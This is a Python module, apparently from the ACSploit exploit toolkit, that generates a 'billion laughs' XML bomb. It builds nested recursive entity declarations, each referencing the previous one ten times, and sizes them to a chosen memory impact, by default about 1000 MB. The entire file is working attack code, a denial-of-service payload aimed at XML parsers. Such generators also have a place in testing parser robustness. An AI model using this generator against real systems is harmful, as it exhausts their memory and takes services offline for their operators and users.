import math
import os

from acsploit.options import Options


options = Options()
options.add_option('memory_impact', 1000.0, 'Target memory use in MB')

DESCRIPTION = 'Produces an XML file that implements the billion laughs recursive entity attack.\n\n  ACSploit produces ' \
              'XML bombs similar to those described on wikipedia (https://en.wikipedia.org/wiki/Billion_laughs_attack) with' \
              'each entity containing 10 references to the previous entity. Target memory usage in MB can be set with the ' \
              '"memory_impact" option.'

# TODO: reject too small memory_impact values; are there too large memory impact values?


NO_INPUT = True
DEFAULT_OUTPUT = 'file'
DEFAULT_OUTPUT_OPTIONS = {
    'final_newline': False
}


def run(output):
    xml = generate_xml(options['memory_impact'] * 10 ** 6)
    output.output([xml])


def format_level(level_num, entities_per_level=10):
    entities = '&lol{};'.format(level_num-1) * entities_per_level
    return '  <!ENTITY lol{} "{}">'.format(level_num, entities)


def generate_xml(target_size):
    n_levels = math.floor(math.log10(target_size))  # number of levels each with 10 references to the preceding entity
    lol0_len = math.ceil(target_size / (10 ** n_levels))  # length of base entity lol0
    last_level_size = int(math.ceil(target_size / (lol0_len * 10 ** (n_levels - 1))))  # references in the final level

    levels = [format_level(i+1) for i in range(n_levels - 1)]
    levels.append(format_level(n_levels, last_level_size))

    with open(os.path.dirname(os.path.realpath(__file__)) + '/xml_bomb_template.txt', 'r') as f:
        xml_bomb_template = f.read()

    return xml_bomb_template.format('0' * lol0_len, '\n'.join(levels), n_levels)
